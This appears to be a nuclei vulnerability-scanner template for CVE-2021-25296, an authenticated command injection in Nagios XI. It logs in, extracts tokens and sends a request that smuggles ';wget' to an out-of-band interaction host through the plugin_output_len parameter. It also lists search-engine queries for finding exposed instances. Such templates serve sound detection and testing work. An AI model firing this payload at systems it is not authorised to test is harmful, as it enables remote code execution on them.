nuclei-templates/http/cves/2021/CVE-2021-25296.yaml

90 lines
3.3 KiB
YAML

id: CVE-2021-25296
info:
name: Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection
author: k0pak4
severity: high
description: |
Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
impact: |
Successful exploitation of this vulnerability allows authenticated attackers to execute arbitrary commands on the target system.
remediation: |
Upgrade Nagios XI to a patched version or apply the vendor-supplied patch to mitigate this vulnerability.
reference:
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
- https://github.com/rapid7/metasploit-framework/pull/17494
- http://nagios.com
- https://nvd.nist.gov/vuln/detail/CVE-2021-25296
- http://packetstormsecurity.com/files/170924/Nagios-XI-5.7.5-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-25296
cwe-id: CWE-78
epss-score: 0.89037
epss-percentile: 0.98721
cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: nagios
product: nagios_xi
shodan-query: title:"Nagios XI"
fofa-query: title="nagios xi"
google-query: intitle:"nagios xi"
tags: cve,cve2021,packetstorm,rce,oast,authenticated,msf,nagiosxi,kev,nagios
http:
- raw:
- |
GET /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
- |
POST /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
- |
GET /nagiosxi/index.php HTTP/1.1
Host: {{Hostname}}
- |
@timeout: 20s
GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=windowswmi&check_wmic_plus_ver=1.65&ip_address=127.0.0.1&domain=127.0.0.1&username=username&password=password&plugin_output_len=9999%3bwget%20{{interactsh-url}}%3b HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: word
part: body_4
words:
- "Event Log"
- "Display Name"
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: nsp
group: 1
regex:
- "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
internal: true
part: body
- type: regex
name: nsp_auth
group: 1
regex:
- "var nsp_str = ['\"](.*)['\"];"
internal: true
part: body
# digest: 4a0a00473045022100a2dc206e80ff2c88040bf883e7489d77bd7a4ba89169ffe9abf27e1cf41829d20220116954a4772401f7f08bfc31ae8cc97d5589219a8c1386e5cf7e1b7ccb784c3b:922c64590222798bb761d5b6d8e72950